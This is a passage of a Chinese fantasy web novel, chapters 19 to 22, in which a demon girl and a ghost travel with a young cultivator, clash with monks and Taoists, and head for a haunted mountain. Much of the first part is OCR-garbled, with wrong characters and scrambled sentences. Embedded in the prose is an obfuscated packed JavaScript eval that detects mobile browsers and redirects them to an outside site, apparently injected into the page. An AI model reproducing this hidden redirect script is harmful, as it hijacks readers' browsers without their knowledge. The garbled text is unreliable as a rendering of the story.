她很显然已经很没有耐心了,霖娘觉得她像马上要点燃的烟花,一不留神就能噼里啪啦地炸那和尚满头满身。 程净竹没松开她,却从怀中摸出一颗油纸包裹的东西,抵到阿妲的唇缝,隔着油纸,阿姖感觉到一点化指腹的温度,一不留神,那颗东西进了她嘴里,她后知后觉尝到味道,那是甜的味道。 她脸颊顶出一颗糖丸的形状,愣愣地看着程净竹手指间的油纸 程净竹从头到尾都没有在看她,而是对那净空和尚道:“法师以为,我药王殿为何要与这些鬼怪为伍呢净空和尚忽然一默。 若这少年心中有鬼,他定不会将象 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14802165|148940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天宝珠这么堂而皇之地带在身上,再怎么样也要掩饰眉心药王殿的开痕。 上清紫霄宫从来不将妖物一概可是,局每怎一望管有诸般怨气,都该被教化,上清紫霄宫才会出手料理,但净空和尚却不这么 想,妖物生来贪婪,多欲, 被收服。 可上清紫霄宫没有这样的规矩, 这少年一副毫无避讳的举止, 不知这少年修为如何,但观他一身珠饰精妙绝伦,都是难得的法器,于正什是与这不能影说袋么他,何况在他看少把握。 这么想着,净空和尚眉心微松,道:“你与贫僧也算同道,但愿你没有私心。"净空和尚拾起紫金铃,铃铛仍然在响个不停,他抬起头来,此时一片凛冽的电光闪烁,他不经意看到红衣少女鬓边的发簪。 绯红的山茶开得正艳,雨水好似露珠,在花瓣上晶莹闪动,女子乌发如瀑,阴冷的电光照得她侧脸苍白。净空和尚什么也没再说 说,转过身往潮湿的山雨里去了 店家还在地上昏睡,程净竹让那何秀才将店家扛上楼去,那小孩也跟着跑了上去,霖娘又点起一盏烛火,阿妲嘴里咬着糖,看程净竹俯身,将地上一颗颗珠子捡起来。阿妲被咒印困在程净竹手腕的时候,她数过那串珠子,一共有十五颗,阿姖看着他捡,她悄悄地数,只有十元熟道, 有三颗在他给她造壳子的时候, 不知道为什么碎了 程汽竹甲提满铁, 阿妲忽然俯身 凑到他身边“在赤我日镇,你给我吃的也是糖吗2, 淡淡的清辉映照他的指节,他站直身体,睨着阿嬗:“嗯 果然如霖娘所说,那不是甜的药,而根本就是糖丸,程净竹早就知道她不是霖娘,阿妲转过头,却不见霖娘。 ”我想打死那个秃驴。‘ 阿嬗说道。 程净竹顿了一下,掌中的珠子险些掉出来一颗,很显然,她是才跟那何秀才学会的脏话,他嗓音冷淡:”不要什么都学。 夜更深,雨渐弱,阿姖推开楼上最里面那间房门,霖娘坐在床上、严实实,她抱着膝盖,听见开门声,鼻子 ,黑纱依旧将她的头发和脸都包裹得严 一吸,抬起头看到阿烜,便急忙抹眼睛。 "你为什么又哭?'' 阿妲儿灭走近她, "霖娘嘴唇动一动,个非群必上李雯摇获二酸她眼轻不在地流泪,她索性自暴自弃,很就哭得上气不接退嘻。 “我 阿姐眉头拧起采:“你真的很烦。" 霖娘却抬起手隔着纱摸自己的险:“阿姐,鳞片,鳞片还在吗呜呜呜呜呜流泪,“呜呜呜”个不停 室内烛火明亮,阿妲一把将霖娘的黑纱给摘了,霖娘的头发因此而凌乱得厉害,她眼睛跟下雨似的还在阿妲看了一眼:一没了。 霖娘摸自己的脸,果然没有鳞片的触感了, 但 ....额头上的细鳞却是根本不会消失的,她摸到那层细鳞 不禁再度悲从中来, 好一会 我连我们家鸡什么味道都不知道, 她哭着说:‘ "我从前怎 么说也是我们村里最好看的姑娘,为了漂亮,我甚至者 不吃肉,你还吃过我们家鸡, ...可是,可是我现在却变成这样... 她正哭得难受,张大的嘴巴突然被塞进一物,霖娘眼睛眨动一下,牙齿咬到那东西,甜滋滋的味道。.糖? 霖娘后知后觉。 阿妲双手抱臂,看着她说:“我问小神仙要的,你说得对,上次他在赤戎旧镇里给我吃的是糖,不是药霖娘愣 愣地看着 她。 但是这次,不是 上回在旧镇 ,是她让阿姖分给她一颗,阿姖才给她的。 "他早就知道我不是人类。 阿妲说道。 霖娘咬着糖,忽然就不那么想哭了,她擦干眼泪,拉住阿:“你看今天那个光头!原来外面不是所有都对鬼怪有容忍之心 为我们,因为何秀才得罪了那光头,也不知道有没有给程公子惹麻烦.....阿妲,我们得谢谢程公子。方才那光头说他与程公子算是同道,我虽不知同的哪门子道,程公子 跟他才不一样,但今日程公子是霖娘说道。 "要谢你谢, ,我再也不缝荷包了。 阿妲怕绣花针扎坏自己的新壳子。 霖娘简直都不想说她那一团破布玩意,阿妲就算想缝,她也不会让阿姖缝的,霖娘对阿妲道:“你如今么说也有一副身躯了,你也不用再自卑了! “自卑是 什么? 阿妲总觉得不是什么好词。 “呃, "霖娘觉得解释起来有些麻烦,索性直接道,“总之,程公子都不在意你是妖,还帮你造身躯,你然想得到他的心,就要下苦工才行 说到心, 真的别。 阿垣的眼睛一下亮晶晶的:“那我可以再缝一个荷句。 霖娘捂脸,然后认真思索起来:“让我想想,要不你给程公子买个什么吧?’”好啊。 阿妲说着,手一抬,掌心凭空出现一把碎银。 “你哪里来的钱?” 霖娘惊愕地问。 阿烜把玩着亮闪闪的碎银,说:“小神仙有好多,我从他荷包里拿的。霖娘满额是汗,一脸无助:“你偷.....他的钱,给他买东西? 第20章 弟20早 弟20早 夜仍深,外面已风停雨止。 隔壁房门“吱呀”一声响, ,轻微的步履落在廊上,房内,静坐床上的程净竹一瞬睁开眼,嗝门上一层轻纱约映出两个女子模糊的,轻盈的身影,一闪而过。 楼梯上轻微的步履声响过,很快又静了下来。 程净竹垂下眼帘。 在半空,不断闪动。 房中门窗紧闭,却忽然无端起来一阵风,银尾法绳上珠饰颤动,他倏尔抬眼,一道金色符文凭空乍现,程净竹立即起身,推门,下楼。 何秀才正在楼梯边的酒缸中呼呼大睡,他面前的酒缸都空了,显然是昨晚将自己灌了个饱,他感到湿润白风迎面吹来,带着草木的芳香, 勉强掀起眼皮,只见一道模糊的影子,那影子几步走到被何秀才亲手修好的大边,何秀才睁大 点眼睛,才看清那背影,他不由道:“小仙长,您走了啊?" 片刻,便转身走入 听到他的声音,那黑衣少年停步,回过头来,一片夜色中,他浑身珠饰剔透明亮,一双冷淡的眼只瞥他茫茫山雾中。 此时山间湿雾正浓,一片浓绿葳蕤的草木深处,一帮和尚道士将将赶过来便掩身其中,突兀的铃音一响,众人一瞬将目光凝在那和尚手中的紫金铃) “师兄,妖怪碰到你的阵了,他们定然已经出了那小店!”一相貌年轻的和尚擦去头上的露水,说道。“还真有妖怪?” 身穿灰布袍子的中年道士此刻方才放下心中的怀疑,他身后几个同道这便开始擦拭起随身的宝器。“我师兄如何能骗你?’ 那年轻的和尚不满道。 "灵明。 拉到这悉 净空和尚示意他不要说话,随后看向那中年道士:“贫僧晓得诸位都是为万艳山的邪祟而来,却被贫僧法师这是何必。 ,实在是贫僧对不住诸位。 那中年道士摇摇头,道:“你我都身负降妖除魔的责任,若真如你所言,那小店中两个鬼物.,一个妖物 那妖物连你这紫金宝铃都照不出真身 ,的确蹊跷得很,若是她身上背着命债,那我等又岂能坐视不理?“可) 净空 法师,你果真确定那女子是妖邪么?"中年道士。 "我师兄苦行四海多年,手中这紫金宝铃不知降服多少邪祟,”那灵明小和尚听了,忍不住道,"你竟还疑我师兄的本领? “哎呀呀,你这小和尚真是个炮仗脾气,我师兄这是稳重,是细察纹理,问清楚一点怎么了?不是你们我们来帮忙的 一年轻道士说着便翻了个户眼。 要好好辨- “好了,都不要再说了 "那中年道士用手肘捅了捅身后的师弟,又对净空和尚道,“我们既然来了,便“净空和尚想起昨夜在客店中见到的那红衣少女,她美艳得不似人类,一头微微卷曲的乌黑长发,辨那妖物的真面自! “她, 他记得她鬓边的那支簪,那绝不 个邪崇可以拥有的东西,他眼睛微眯,“绝不是贫僧一个人可以对付的。何况,还有那上清紫霄宫药王殿殿师的亲传弟子在o 净空和尚离开那客店之时, 便在外面布下一阵,若有鬼怪从客店中出来,他的紫金宝铃便会发出响声,也正因为这阵法只有这么一 个作用,所以才令人难以察觉 "不过他们无论想往哪儿走,从客店出来,此处都是必经之地。”净空和尚说着,转过身,透过扶疏草木,注视那条蜿蜒的山径。 一时间,所有人的视线都跟随他的目光而去 但忽然, ,那中年道士不经意一眼扫过净空和尚的袖口,他神情微变:“净空法师,你袖边那是.那小和尚立即看向师兄净空被露水沾 湿的袖边, 一缕淡淡的金 芒闪烁: :“师兄, ,那是什么?” 净空低头,神情一滞,他立即摸向湿润的袖边,那缕金芒随露滴而落,在他手中化为一纸白符。“追踪术? 那中年道士认出白符上的咒印。 “不好!” 乎有一阵清音渐近。 净空和尚把将白符丢下, ,那符纸落地,顷刻化为一团烟火,烧成灰烬, 也正是此时,众人听见风中们 中年道士敏锐地回头, 地回障驫 只见一道迎面银光劈来,他立即抬手推开离他最近的小师弟,大喊:“快躲开!银光霎时劈下 ,地上裂缝蜿蜒。 净空和尚反应还算迅速,护着小和尚往旁边退了数步,而那六七个道人则都及时闪到另一边,勉强躲一劫。 那中年道士只见地缝中银尾若蛇,片片蛇鳞栩栩如生,凛冽泛光,顺着那银尾往上,中年道士抬起头来,看到淡淡湿雾中,有一个不知何时立在那里的黑衣少年。 他长发银灰,眉心一点红痕 怎,黑衣宝饰,颀秀的身影在淡雾中若隐若现,他不过手微微一抬,中年道只觉凛风拂过颊侧, 转瞬,那银尾法绳已收回少年掌中。 “果真是你! 那净空法师一眼认出这少年,他沉声道:“我离开客店之时,你在我身上下了追踪的咒术!”“怎么?” 那少年的嗓音若这山间的湿雾一样冷:“这种事,法师你做得,我却做不得?"“师兄,难道这便是那个与鬼怪为伍的修士? 那小和尚说道。 中年道士闻言 ,不禁再将那黑衣少年重新打量一番,他注视着少年手中的法绳,开口道:“阁下身为修士,又为何与鬼怪为伍? 修老,非傫表癌妖道京有渊源更涅道突在之鼎寵没药*朵"的修行,修士大多藏身深山老林,以修炼,以斩妖除魔,教化修心为任。 人所能抵达的"术"的极限为乐。 也有一些爱游走四方的,但行万里路,也皆是为了修炼极致的“术”。修士大多萍踪无定,不修宫观,不聚信众,散落四海犹如天星,而他们所信奉的,便是以"术"为本的上清紫霄宫三殿祖师。 "道长若真有法眼,便该辨得清谁才是鬼。" 程净竹语气平淡,手中法绳挑起,银光冷冽:“否则,便是你实在无能。”此时夜色迷蒙, ,山间雾气正浓,霖娘身化流水与红雾并行至一条开阔大道上,不多时,霖娘化出真身,伸手去抓那红雾红雾顷刻凝成一女子的身形, 她准确地抓住那红衣女子, 气喘吁吁:“阿,你慢点 她起开始修 ,哪里比得上阿妲天生的缥缈轻盈。 不是你说要赶去镇上买好东西吗?”阿妲不知道她这只水鬼怎么会这样娇气,她想了想道,“不如我自去好了。 不仃 霖娘实在担心她一通乱买,拿回来没一个能送出去的,再者,阿妲如今的脾气是一点就着,万一出去惹祸就不好了。 阿妲看着霖娘紧紧抓住她的手“可是你好弱,很麻炳。’ .我会努力修行的! 霖娘咬紧 系才关,就是不肯松开她:“前面,前面应该就快到了\ 绳宛若银蛇一般游弋,将从左右夹击而来的僧道全都甩落在地。山中繁茂参天的树木使得山径上昏黑至极,僧僧道道围出一道阵法,齐心与那少年缠斗不过片刻,那那中年道士摔在地上,捂住生疼的胸口,咳出来血沫,他抬起头,只见那少年手中法绳仍有淡淡的银飞浮,与淡雾相映 法绳上珠饰碰撞,清音震耳。 “你是.... 中年道士眼底浮出惊疑之色,他再度端详那少年襟前那串晶莹剔透的宝珠,又盯住他眉心的红痣:“难道,你霈克清粹要望清繫臀置响. “师兄 E殿的弟子? 他身边的道门师弟身上正疼着呢,听见他这话,便问道。 “他是药王殿的弟子。 方才净空和尚在最前面,因此被那银尾法绳伤得最重,握着紫金铃的手上被划了好几道血口子,血珠滴答答。 他推开扶他的小和尚,勉强坐起身来,盯住那少年:“那女妖身上一层水雾,连贫僧的法器都照不出她身,贫僧知道, 你们上清紫霄宫非但以术''为本,还善造法宝。 , 他的语气变得意味不明:“那女妖的确生得美艳绝伦,也难怪你受她诱惑,连上清紫霄宫的戒律都抛之后!" 那女妖鬓边的发簪,说不准便是上清紫霄宫的法宝。 净空和尚昨夜只看 -眼,便明白那法宝的可贵。 可那样的东西,怎么能在一妖邪身上? 程净竹淡淡凝视净空和尚,而净空和尚却从这少年的眼中体会到一种被扒开皮肉,剖开内里的严寒,空和尚后背芒刺顿生。 法师可知,你眼中所见,也许根本就是你心中所想。" 程净竹双指倏忽 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敢觊觎,所以就想要那女妖身上的法宝!你他娘的根本就是骗老子们来给你做嫁衣的!贫道恕不 奉陪!净空和尚- -口气上不来,嘴里又冒血。 那小和尚慌里慌张地看了程净竹一眼,连忙使出全部的力气扶起净空和尚,转身往林子中跑去。山林中忽然静下来,只有 飞鸟的鸟鸣 何秀才在酒缸中又睡了一觉,迷迷糊糊睁眼,正见那黑衣少年走入门来,他身上一点露水夜没沾,却名带着些严寒的气息。 黑色的发带落在肩头,缀着晶莹珠玉,更衬少年冷白肤色,一副漂亮眉眼。“咦?您又回来啦?我想起来,好像,好像您出去之前,那两位女子先走了,”何秀才说着,打了个酒嗝,“怎么您是没有找到她们吗2 不需要 线 程净竹言辞简短,缓步上楼,合上房门。 七o 不知多久,程净竹在房中静坐清修,有一阵朦胧睡意,但微微的冷意拂面,他感受到衣襟在被人轻轻找摸。 程净竹浓密的眼睫微动,倏尔睁开双眼。 他最先看到他胸膛上那只纤细苍白的手,随后,他看到那样一张笑意盈盈的脸,她双膝跪坐在榻前,一双漆黑明亮的眼睛仰望着他。 “小神仙,你醒了啊。 她十分自然地收回手,略微活动了一下被他身上那顷刻散发的金芒给震麻的指节。程净竹冷冷地睨她,似乎只要她手迟收回去片刻,他便要拧断她的指节。阿嫗感受到这份危险的意味。 但她没有退却, 而是仰着脸对他说;“你的手伸出来。 她看起来神神秘秘, 还有点不太熟练的讨好。 这同房依旧门窗紧闭,但似乎因为阿妲在这里,所以榻边纱幔微扬,轻轻拂过程净竹黑色的衣袂,他眸凝视阿妲片刻, 伸出一只手掌。 修长的骨节, 阿姖看着他那只手 分缕的青筋, 袒露的掌心里有交错的疤痕。 那疤痕令阿烜喉咙有点轻微的痒意。 她想起黑水河畔,她曾那样舔舐过那芳香的血气 阿妲将袖中一物放到他手上,却没有松手, ,而程净竹看到那串霞珠,神情微怔。 散掉的珠子,被一根朱红的编绳重新串了起来,整整十二颗, 一颗不少。 阿妲手指捏着珠串,顺着他的手指,往上,擦过他的手背,她那双眼睛却没有在看珠串,而是从头至都盯着他。 她美艳的眉目,不是人类的情态。 她乌浓的长发, ,轻轻勾缠他的衣袂,她的手越是往上,越是使他宽大的衣袖往后挽起,露出他一截冷日的腕骨,流霞成珠, 点缀他的手腕。 n “小神仙,这是我给你编的珠绳。 阿妲垂下眼帘,看着她给他戴珠串时,被一粒要裂不裂的珠子棱角刺破的他的指腹:"但是,是用你的头的丝线。 程净竹瞥了一眼指腹上一点冒出的血珠。 ”可我仍该谢你, 残烛将熄未熄,焰光跳跃闪烁,他挣脱开她的手,腕上霞珠流光溢彩,映照他冷漠的神情,随后,他那沾着血珠的指腹点在她柔软的下唇,“是吗? 20-25 第21章 第21章 “是降我,还是……杀我?”…… 桌边残烛倏忽熄灭, 房中顿时更加昏昧,淡淡的血气盈于阿姮唇齿,她有些愣愣的,望着榻上端坐的黑衣少年。 她双眼一瞬亮亮的, 有些欣喜。 小神仙竟然肯给她血了。 她被那芳香所引诱, 立即吮舐了一下他的指尖, 榻边纱幔层叠如粼波,而他手背忽然绷紧,青筋分缕明晰, 但他整个人都几乎隐在一片昏暗的阴影里, 阿姮往前望他, 他却一下侧过脸, 垂下眼帘,神色不清。 阿姮却追逐他的指尖往前, 他睫毛微动, 再度看向她。 纱幔内昏昧极了,他面上一丝表情也无, 那双眼睛黑沉沉的, 居高临下般, 睨着她, 洞穿她。 阿姮本能地觉得他似乎有些不太对劲, 他像雪,冬季覆盖在黑水河冰层上晶莹无暇的积雪,阿姮曾经透过冰层看到那种极致的白, 明明很冷,但若用人类的手去触碰,则会后知后觉激起一种难言的灼烧感。 阿姮觉得自己体会到那种奇怪的灼烧感, 但她什么也不明白,只是轻易被他唤醒她妖邪的本能,她嘴唇微动,舌尖触到那芳香的血气,她忍不住再次吮舐。 指腹传来轻微的痒意,程净竹脊背骤然一僵,双指抵住阿姮得寸进尺的唇齿,随后迅速抽开手,引得他襟前的水青宝珠一阵轻晃,粼粼的光影闪动。 阿姮意犹未尽,她暗红的双眼紧紧盯住他那根手指,因为贪恋那股血气,她甚至在他指尖留下一道齿痕,正因为那齿痕,他指腹此时有些红。 “你必须克服你嗜血的欲望。” 榻上少年如磬的嗓音响起。 阿姮黏在他手指的视线缓缓上移,看到他的脸,他双眸清明而冷冽,仿佛方才那种灼烧的雪意只是她片刻的幻觉。 他十分平静地凝视她:“四海之大,不比赤戎,你若因贪恋血气而犯下大错,必会招来杀身之祸。” 阿姮不耐地压抑喉咙的渴意:“你是说那个老秃驴吗?” 她轻声笑:“他算什么呢?” “他的确不算什么。” 程净竹淡淡道:“但天下之大,多的是如那和尚一般以降妖除魔为业的人,你若不知收敛,只会祸患无穷。” 阿姮被鲜血唤醒的躁动难以平复,她手掌不由顺着这少年修士的袖边上移:“我是妖邪,所以他们要降我,除我,可是……” 昏暗的室内,微扬的纱幔,榻边朦胧的影,阿姮仍跪坐在榻下,绯红的衣袂与榻边玄黑的衣摆交叠,她的手隔着衣料触碰到他肩部坚实的肌肉,硬硬的,跟她这副柔软的壳子一点也不一样:“老秃驴说你与他同道,意思是你本也该降我,除我,可你……为什么不呢?” “阿姮姑娘。” 程净竹蹙眉,语气凛冽。 他那双黑沉的眸子与阿姮相视。 阿姮讪讪地收回手,暗红的眼瞳微微转黑,目光却仍不禁流连在他齿痕未消的指尖:“你们人类真奇怪,你们可以因为饥饿而食,我却不能因为口渴而饮吗?” 阿姮缓缓抬起脸,双眼犹如点漆:“若我再犯血欲,你又要如何呢?” 她眼尾勾着轻盈的笑意:“是降我,还是……杀我?” 浓郁的夜色悄然转淡,青灰的晓色渐渐爬满窗纱,这室内依旧昏昧,阿姮眼中的一切顷刻失色,她看到小神仙的衣襟更加洁白若雪,一身外袍则更加浓黑如墨,他浑身的彩石珠饰都失去多彩的光泽,腕上的霞珠也变得暗淡。 他神情沉静,依旧看着她。 一言不发。 清晨山间湿雾正浓,几声清脆的鸟鸣飞快掠过树梢,层叠的树影下,昏暗的山径上碧草摧折,残枝匝地。 细草湿泥中,紫金铃的残片微微闪烁白光,那光影如簇,很快凝出一道半透明的女子身影,她脸色苍白,素衫红裙,螺髻蓬乱,凤钗歪歪斜斜,浑身狼狈。 她有些张惶地望了一眼四周,随后提起裙摆,身影缈缈,浮向浓昏树木深处。 昨夜被阿姮吓晕过去的店家终于清醒过来了,他抱着儿子出了门,站在廊上就听见楼下堂内传来说话声。 “你就是喝烂酒喝死的,做了水鬼还不知道自省?店家好好两大缸子酒,就被你喝了个精光?” 店家一瞬听出,这不正是昨儿晚上那个女水鬼的声音么? ……等等? 两大缸子酒没了??? “那么请恕小生冒犯了,姑娘你又是因为什么死的呢?” 这是那男水鬼何秀才的声音! 店家抱着儿子就往楼梯下冲,跑到酒缸边,果然见两个酒缸全都空了,他瞪起双眼,一下转过头,脸颊肌肉抽动,大吼一声:“赔钱!” 霖娘正被何秀才戳中伤心处,此时见店家吹胡子瞪眼,气得不轻,霖娘一拍桌子,附和道:“对,赔钱!” 何秀才神情变得窘迫,他站起来,指了指大门:“我修的,你看……” “大门本来就是你弄坏的!” 店家气得厉害,连那点子惧怕都忘了,他放下儿子,一个叉腰:“何秀才我可告诉你,你今日不赔酒钱,我就找你老爹老娘还有你弟弟去要!” “这可不行啊!”何秀才急了,“我做了鬼,哪里还能再给我家里人丢脸呢?” “你也知道丢脸哪?”店家呛声道,“做鬼做到你这份儿上,你也是真好意思!” “可我看你做饭难吃,你也很好意思啊。” 此时,一道女声幽幽落来。 店家一听到这声音,他后脖颈子不禁有点冷冷的,他僵硬地转过脸去,只见那红衣女子坐在另一张桌子边,她对面,则是那寡言的年轻修士。 对上那女子的目光,店家的大腿忽然又开始打颤,他胡须抖动几下,什么声儿都发不出了。 桌上一只风炉,炉上煮着一壶热茶,那修士面前茶碗中热雾浮动,他忽然一抬手,一样东西精准地落在店家掌中,店家定睛一看,竟是一锭银子。 “他的酒钱。” 程净竹简短道。 那何秀才狠狠松了一口气,连忙对着程净竹作揖,头一抬,他看见程净竹站起身,似乎是要走了,他忙道:“多谢,多谢仙长!” 程净竹走到他身边,忽然停下,看向他:“关于万艳山,你到底知道多少?” 何秀才愣了一下,随后反应过来,他立即道:“仙长,你听我一句劝,万艳山,你一定不要去!” “为什么?” 阿姮走到程净竹身后,好奇地探出头。 何秀才一看见她的脸,立即有点手足无措,他低下脑袋,似乎有些不好意思:“姑娘有所不知,万艳山上有一座被皇家废弃的行宫。” “三十余年前,反贼冯寅攻入天都,先帝被迫南下,但幸有廖泉廖总督领兵有方,不过三年,便将冯寅赶出天都,斩下首级,只是班师回朝的途中,先帝驾崩,当今圣上便是在路过巢州之时,在万艳山上的行宫中临时登基的。” 何秀才继续说道:“我们这儿,一直有个隐秘的传言,说当初圣上在此秘密处决了一批女奸细。” “什么女奸细?”霖娘不由问道。 “谁知道呢?”那店家也知道这些,便接过话去,“本来吧,都是些没影儿的传言而已,可自打三年前开始,万艳山底下就开始怪事频发,凡是打那山脚下路过的男人,大多都活不见人死不见尸的,只有少数几个活着的,却都跟见了鬼似的,吓得神智不清。” “再之后,有人夜里经常会远远地瞧见,山脚下一片红色的灯影,有时,还会有些锣鼓声,”店家神神秘秘道,“都说,是山里的鬼娘娘,在娶男人哪!” 阿姮歪过脑袋看他: “娶男人?” 第22章 第22章 她的壳子被划破了。 “我几日前曾托梦于我爹娘, 听他们说,原先官府也请过不少和尚道士,可那些人上了山,却没一个下来的。” 何秀才本来就没有血色的脸仿佛又白了几分, 他下意识搓了搓手, 却搓不出一点人的热气:“后来官府也不管了, 反正上书去天都,天都也不作理会,毕竟是一个小小行宫而已, 当初就是圣上临时落脚的地方, 圣上也不可能再临驾于此, 所以, 那行宫也就荒废了。” 他看着程净竹,郑重道:“我爹娘说, 这些年来的也不只是收妖除鬼的和尚道士, 还有……各地慕名而来的男人。” “慕名而来,慕谁的名?鬼娘娘?” 阿姮问道。 “可不是么!” 店家飞快接了句, 但见阿姮的目光看过来, 他肩膀瑟缩一下, 简直想给自己这张死嘴一巴掌, 话接那么快做什么! 他胡须颤颤, 还是把话讲完:“那,那鬼娘娘艳名在外,都说她美貌至极, 简直比那天上的仙女儿还要漂亮,这世上的男人见了她,没有哪个不为她的容貌所倾倒, 那些侥幸活下来的疯子们,也常常念叨她的美,所以总有一些好奇心重的,不怕死的,大着胆子去万艳山想一睹鬼娘娘的芳容,哪怕年年有人死,有人疯,总也还是有男人为着她去……” “你们人类不是很怕死吗?” 阿姮不解,那鬼娘娘到底有多美,可以让这些男人前赴后继地去找死。 店家听到她说“你们人类”,他身子抖了一下,嘴巴抿紧了,偷偷瞧了阿姮一眼,心里猜测着,大概也许,那鬼娘娘也许便如这女妖一般吧。 美丽,神秘,又充满令人神魂战栗的危险。 “谁知道他们呢?” 何秀才做人也才做了二十来年,连知天命的年纪都没活到呢,他也不太懂那些男人怎么想的,只是说道:“别说人了,就我知道的那些水鬼,他们早先我一步去万艳山了,阎王爷那里还没有什么旨意,应该是那些水鬼也都还没有消息,还请仙长听我一句劝,万艳山你们就别去了。” “小生在此踌躇一夜,也算喝够了壮行酒,”何秀才说着,慢慢地呼出一口气,随后转过身就往门外跑,“小生这便去给阎王爷办差啦!” 他声如洪钟,像给自己壮胆似的,一溜烟就消失在淡淡晨雾中。 霖娘呆呆望着门外:“那……我们还去吗?” “去。” “去啊。” 程净竹的声音几乎与阿姮的声音同时落下。 那店家眼见着三人走出客店大门,他立即松开儿子,手脚极其麻利地将门板“砰”的一声扣上。 阿姮与霖娘同时回头,看向那道紧闭的大门。 听见清音渐远,阿姮再转头发现那黑衣少年已经走出很远,她立即跟了上去:“小神仙,等等我啊。” 此时山间雾气正浓,霖娘跟在后面,一直偷瞧程净竹的手,奈何他手腕被宽大的衣袖遮掩,她看不清楚,便只能拉住阿姮,小声问:“珠绳给他了?” “给了啊。” 阿姮说道。 霖娘凑到她耳朵边:“他根本没有拒绝吗?” 阿姮侧过脸,避开她阴森的鬼气,奇怪道:“我编那么好看,他为什么要拒绝?” “……这不是好不好看的问题啊。” 霖娘心说你那荷包丑得惨绝人寰人家不也收了吗? 她们去镇上之时,夜市已经闭市,只有个卖丝线的老妪提着个篮子慢吞吞地往家赶,路上遇见阿姮与霖娘,便卖了些丝线给她们。 回来的路上,霖娘一边走,一边教阿姮编珠绳,就像上回做荷包一样,阿姮仍旧没有多少耐心,但见霖娘坚决不肯帮她,她才自己气鼓鼓地编好了一根。 霖娘不由看向那黑衣少年的背影,宽阔的肩背上缀着一串象牙白的流珠背云,尾部的淡色流苏随着他步履而在腰后轻轻晃动。 “他收下的时候,有说什么吗?” 霖娘又问。 阿姮想起那间昏昧的室内,他温热沾血的指腹抵在她下唇,她笑了笑,说:“他谢我了。” 就这些?? 霖娘有点摸不准,此时她才突然发现自己对于情爱的认知似乎还有点贫瘠,可再怎么贫瘠,也比阿姮有经验啊。 “既然他肯收下,那就说明,他对你至少是不抵触的。” 霖娘摸着下巴,下了一个保守的结论。 阿姮不语,只是幽幽望着那少年的背影,他行走于山间,衣摆不沾分毫露滴,脚下也不染尘泥。 “你们人类,真的好麻烦。” 阿姮轻声说道。 她要的,才不是什么不抵触,而是破除他的金身,挖出他的那颗心,来配自己这副崭新的壳子。 也许是察觉到她过分灼热的视线,程净竹忽然停顿,道旁草木青青,淡雾浮动,他回过头。 一时间,与她相视。 阿姮扬起灿烂的笑意,迈着轻快地步子朝他奔去:“小神仙,万艳山在哪一边啊?” 她蹦蹦跳跳的,乌黑卷曲的长发飞扬,鬓边的红山茶又生新露,娇艳欲滴,映衬她一张苍白美丽的脸。 “南边。” 程净竹避开她伸过来想要抱住他臂弯的手,瞥了一眼指间金痕流转的白符,上面闪烁的舆图很清晰:“出了这片山林,再往南一百里。” 往南五十里,便是榕树镇。 阿姮与霖娘昨夜去的便是此镇,过了榕树镇再走五十里,才是万艳山。 而巢州城却在北边。 程净竹御法绳与阿姮、霖娘很快到了榕树镇上,此时天光大亮,街上行人众多,又正处在饭点,街上食摊飘出各种香味,阿姮这里嗅嗅,那里瞧瞧,霖娘紧紧跟着她,却百密一疏,一个没看住,便找不见影子了。 霖娘大惊失色:“程公子!阿姮不见了!” 程净竹转过身,只见霖娘孤身站在不远处,一副惊慌失措的模样,而他抬眸,街上行人如织,往来憧憧。 榕树镇实在太小,小到巷子都窄得厉害,阿姮手中捏着一串东西,歪过脑袋:“这是什么颜色?” 巷子中,锦衣华服的男子立在那儿,他身形有些微胖,手上,腰上,无不是金啊玉的,在他身后,则是几个灰布衣衫的家仆。 他年纪也不大,一看就是哪家的公子哥儿出来活动,他视线几乎没离开过阿姮的脸,听见阿姮问话,他心里不由犯起嘀咕,觉得有些奇怪,但美人当前,他脑子都空了,忙道:“红色,怎么姑娘没吃过糖葫芦?” 糖葫芦? 阿姮看了一眼,圆滚滚的糖球在她眼中黑乎乎的,她有点不高兴地咬了一口,果然没有什么味道,她兴致缺缺。 那男子一副彬彬有礼的模样:“怪这榕树镇实在太小太破了,姑娘这样的女子,在下合该在巢州城最好的酒楼里摆上一桌酒席,请姑娘尝那里的名菜醉蟹,再佐以上好的黄酒……那才好呢!” 说起吃来,他头头是道,俨然一个行家。 “你住在巢州城里?” 阿姮没再咬糖葫芦,抬起眼睛看他。 “也不是,我家在天都,与两个好友一道来的,”男子一对上阿姮的目光,便忍不住痴痴看她,“我们家中都是世交,他们在天都耍得无聊,非拉着我一块儿过来巢州,他们啊……” 说到那两个好友,男子拧了一下眉:“他们非要去万艳山,看什么鬼娘娘,我却不知那鬼物有什么好看的。” 说着,他对阿姮露出笑容:“依我看,那鬼娘娘只怕远不如姑娘你一分一厘,姑娘应当是天上的仙子,岂是鬼物可比。” 他无比庆幸自己没跟着好友去什么万艳山找刺激,否则,他也不会在这小小榕树镇中,得见如此美妙人物。 阿姮听了,不由发笑:“你又没有见过那鬼娘娘,又怎知她不如我?” 阿姮乌发红衣,笑颜璨璨,那男子一时神摇意夺,再也按捺不住,全然不顾什么唐突不唐突,几步上前:“那毕竟是鬼物,想也不比姑娘你……” 阿姮盯住他,男子不知为何没了声音,忽然止步了。 他觉得后背莫名有些阴寒。 但在脂粉堆里泡得久了,他向来没多少耐性,一边走近阿姮,一边伸出手去:“姑娘若随我去巢州城,我必定请姑娘好好吃一顿醉蟹宴……” 男子的话音再度戛然而止。 他看着面前这女子笑意盈盈,却听身后家仆抽刀,惊呼:“公子!” 男子僵硬地转过脸,只见女子握着那支糖葫芦,竹签尖锐的尖端已经没入他快要接近她衣袖的掌心,鲜血流出,沾染糖球。 男子后知后觉,剧痛袭来,他惊声大叫:“啊啊啊!” 奴仆在狭窄的巷中将阿姮团团围住,而男子发现自己竟然不能动弹了,他眼皮抖动一下,只见面前的红衣女子微微一笑:“你是说那种浑身上下都是壳的东西?它们有什么好吃的呢?” 